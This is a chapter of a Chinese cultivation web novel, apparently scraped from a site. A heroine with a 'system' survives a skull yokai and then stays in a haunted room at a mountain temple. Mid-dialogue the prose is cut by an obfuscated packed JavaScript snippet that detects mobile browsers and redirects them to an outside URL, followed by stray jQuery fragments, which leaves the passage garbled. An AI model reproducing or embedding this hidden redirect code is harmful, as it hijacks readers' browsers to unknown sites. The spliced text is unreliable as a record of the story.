4. 禁山庙

作品:《女配今天也在苟命

    声音贴着耳畔响起,加之有冰凉的触感传来,惊得聿听毛骨悚然。


    扭头看去,竟是一具骷髅头,披着破烂的衣裳,双手朝前伸出。寒风吹过,将骷髅上仅有的几缕发丝蹭到她脸上。


    它说:“喝口水吧,喝口水吧。”


    聿听后退几步,目光警惕。


    而她不回应,它便一直重复那四个字。


    她问系统:“这是什么东西?”


    系统:“宿主,此妖怪名为狂骨,是井中一具白骨,因含冤而死,怀有极大怨念。”


    “那它为什么一直喊我喝水?”


    “不要担心,狂骨一般出现在深夜,会劝路人喝水,如果按照它所说喝了水的话——”


    系统还没说完,那具骷髅头忽然扭动起来,身姿摇曳,诡异至极。


    猛然被它的舞姿吓到,聿听皱起眉,躲到一旁打量它。


    “宿主,别看!”


    机械音在她脑海中倏然响起,但还是晚了一步。


    在皎皎月光照耀下,她的双眼渐渐失焦,亦不曾听见系统的声音。


    玉兰街角有一口井,井水早在很多年前便已干涸,成为枯井。


    此刻,她正缓步朝着井边走去。


    ——狂骨,修真界及不起眼的一只小妖。


    通常出现在深夜,劝路过的人喝水,若按照它所说的话喝了水,便平安无事,狂骨消失;若拒绝喝水,它就会开始跳舞。


    看到跳舞的人,便会失去神智,投井而亡。


    枯井中的确有白骨存在,但究竟只有一人白骨,还是有许多人的白骨,就无从知晓了。


    “告白被拒,就要投井而亡?”周围响起谢重遥的声音,在她快要跌入井中时,被人揪住领子,拎了起来。他啧了一声,“一名药修,倒是深情。”


    被举在空中晃了晃之后,聿听的双眼重新变得清明,不似刚才那般。


    脑子还未完全清醒过来,嘴先开始反驳:“能不能别这么自恋?你以为我很稀罕你吗?”


    “哦,这样啊。”他松开手,“看来是我多想了,你只是单纯没用,连狂骨都能蛊惑到你。”


    她“啪嗒”摔在地上,竟无言以对。


    感受到谢重遥的气息时,狂骨便已经逃得无影无踪了,整条街只剩下一个痴痴朝着枯井边走的姑娘。


    还有站在不远处,冷眼旁观的他。


    在他的嘲讽与系统的解释之下,她大概弄明白了一些事。


    这个修真界中,妖界处于仙界与凡界之间。然而仙界坍塌,与凡界融为一体,仙气散开,所镇压着的妖魔鬼怪四处逃窜。


    包括上古时期四大凶兽,冲破封印,为祸人间。


    凡界吸收不少仙气,使十六洲的修真者开启“化神”。修真者可通过修炼更容易达到化神境界,却再难突破化神。


    而谢重遥正是因仙界坍塌一事,修为止步不前,无法突破,所以迟迟停留在化神期。


    系统:“逃窜的妖魔鬼怪大多凶残,劝宿主莫要轻易招惹。”


    聿听:“你哪只眼睛看见我招惹它们了?”


    “提醒宿主,药修身份特殊,易招邪祟。世间仅剩的药修,容易被任何物种盯上。”


    “……包括妖魔鬼怪?”


    “对的,”系统说,“还有人与魔修。”


    她安慰自己,这何尝不是一种万人迷呢?放宽心,放宽心——


    随即被谢重遥重新扔回院中。


    经过狂骨一事后,聿听明显安分不少,待在院中不愿出门。谢重遥也没闲着,她安分的这几日,连他的影子也没看见。


    只是她放在屋里的丹药日益减少,证明他还是有回来的。


    开药铺子换取消息失败,她只知道昆仑派曾预言出百花谷的劫难,再无其他。偏偏她又不敢再去昆仑派找子祎他们,一是怕被昆仑派其余弟子发现,而是怕谢重遥发现。


    若是因她一己私欲,给他们惹上杀身之祸就不好了。


    回想谢重遥的眼神,她合理认为这家伙真的能做出胡乱杀人的事情。


    但一直待在院子里,支线任务迟迟无法展开,岂不是白白浪费时间?她可不想一年之后暴毙在此。


    忽而院外响起一阵嘈杂的声响,像是许多人从门口路过,交谈与欢笑声传出。


    聿听听见几句。


    似乎是在说“好久不见朋友们,终于又聚在一起了”,“走快些,不然禁山庙里人多就麻烦了”,“快快快我可不想排队,早到早祈福”之类的话。


    禁山庙?原书还有这个地方吗,聿听没有任何印象。


    寺庙的作用大概都一样吧?求神拜佛,祈祷平安,顺便再求一个平安符挂在身上。


    她问系统:“外面那群人口中的‘禁山庙’在什么地方?”


    “回宿主,检测到昆仑最南端有禁山庙的存在。”


    闻言她抬头看去,阳光照在大地,温暖而明亮。


    尽管她是招邪祟体质,也不至于在大白天遇到觊觎她的妖魔鬼怪,加上有了上次的教训,筑基期的她也并非毫无还手之力。


    更何况,还有谢重遥这尊大佛,是舍不得她死的。


    趁着暖阳高照,她踏出院门,准备速去速回,赶在太阳落山前回到院子。


    顺便……给她的病人也求一个护身符。


    再八百灵石卖给他。


    -


    路越走越偏,直到踏上一条上山的小路,聿听才意识到不对劲。


    这禁山庙——


    怎么在大山里啊?


    她抱怨道:“怎么不早说这庙建在山里?早知道我就不来了,这么远,山路还这样崎岖不平。”


    她是药修,没有佩剑,亦不会御剑。


    这般遥远的路,皆是她一步步走来的,若此时半途而返,就有些可惜了。


    系统却说:“你又没问。”


    寺庙所在的山,名叫禁山,寺庙名随禁山,故为禁山庙。


    穿过禁山,就能离开锦城地界,去到逢洲。


    咬牙走了一个时辰后,她才见到禁山庙的踪影。


    山门之上,匾额高悬,雕刻着“禁山庙”三个大字,步入寺内,香烟缭绕。


    看上去,比她从前去过的任何寺庙都要宏大。


    来此求平安的几乎全是凡人,毕竟除了聿听之外,几乎没有第二个修真者会相信求神拜佛这一说法。


    但她穿书之前也是凡人,恰好最信这一套。


    不少人聚在禁山庙入口处,人满为患。聿听只好乖乖站在人群身后,排起长队。


    恰好太阳落山时才排到,她站在原地犹豫不决。


    想起遇到狂骨那夜,聿听一时间有些难以决定,排了好长时间的队,离开就白白浪费一天时间,但不离开若是碰到邪祟又该如何?


    排在她身后的人因她犹豫,纷纷发出抱怨:“你到底进不进去啊?不去就赶紧走开,别浪费大伙时间!


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16992112|193761||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    ”


    有位方丈见状,似是看出她心中的忧虑,上前一步安慰道:“施主莫不是担心天色已晚,山路难行?禁山庙中有供各位游客休息的客寮,各位施主请放心。”


    话都说到这个份上了,聿听只好硬着头皮朝里走。


    就算现在离开,到半山腰时正好彻底天黑,夜路更加危险。


    与其独自一人担惊受怕的下山,倒不如同这些游客一起在客寮中凑合一晚,危险还更小些。


    而方丈的目光从看见她那刻开始,便再没移开过,直到她的背影消失在人群中。


    与此同时,谢重遥站在一座山巅,单手攥住一人的衣襟。


    与禁山不同的是,他所处的这座山,四周环绕着压抑的黑雾,让人喘不上气。


    那人跪在地上,喉咙发出呜咽声,表情惊恐。


    下一秒,便被无情地掐断脖子。


    山下,尸横遍野。


    即将离开时,谢重遥忽地停下身子,手指向不远处的青年,说:“继续。若有不服者,杀无赦。”


    青年红着眼回头,冲他微微颔首:“是。”


    回到昆仑,院中空无一人,只残留下淡淡的一丝气息。


    以及屋中摆放着一颗透着丝丝血迹的丹药。


    那个不老实的药修,又跑了。


    -


    聿听被方丈分配到014号客寮中,与旁人不同的是,她住单间。


    禁山庙中的游客居多,几乎都是三两个人住在一起。


    方丈只说修真者的待遇与凡人不同,她便也没多想。


    房间不大,进门是青石板铺的地面,走在上面会发出轻微的“嘎吱”声,床榻上铺着粗布褥子,摸起来有些硬挺。


    由于进入寺庙时已夜幕降临,担心夜路难行,大量游客同行难免出现推搡摔倒的情况,禁山庙后的祈福树不允游客夜间前往。


    只能等明日一早再前往祈福。


    祈福树下,摆着许多平安符。无需灵石,只需心诚,便能带走。


    窗外繁星点点,她百无聊赖地抱着头,靠在榻上问系统:“你说这庙里求的平安符靠谱不?”


    “回宿主,检测到此地阴气甚重,估计是不靠谱的。”


    她一惊,猛地起身:“你怎么又不早说?!”


    “在庙外检测不出,只有进入游客客寮时才有显示。”


    “客寮里有这么多房间,总不会运气这般差吧?”


    抱着最后一丝侥幸心理,她裹紧被褥,只探出半张脸在外,两颗眼睛警惕地打量着四周。


    窗外刮起凉风,透过窗子的缝隙,将房间桌上的油灯吹灭。像是要下雨了,天边飘来大片乌云,将月亮掩盖。


    油灯熄灭,月光不再。


    房间中陷入一片漆黑。


    此时已是子时,在此休息的游客都已睡下,准备明日起早去庙后的树下祈福,免去排队。


    在她紧张之际,系统无奈道:“一般人运气的确不会这么差,但您是易招邪祟的药修体质。”


    “阴气最重的房间,正是客寮014。”


    系统的声音散去,聿听在心里怒骂八百遍,要是早点说她就去找方丈换间房间了!


    她背靠墙壁,抱着被褥而坐,一刻也未曾合眼。


    就在此时,房间里响起了一个声音,她的心扑通扑通跳动着,提到嗓子眼。


    “嘎吱,嘎吱。”


    ——有东西在房间里……走动。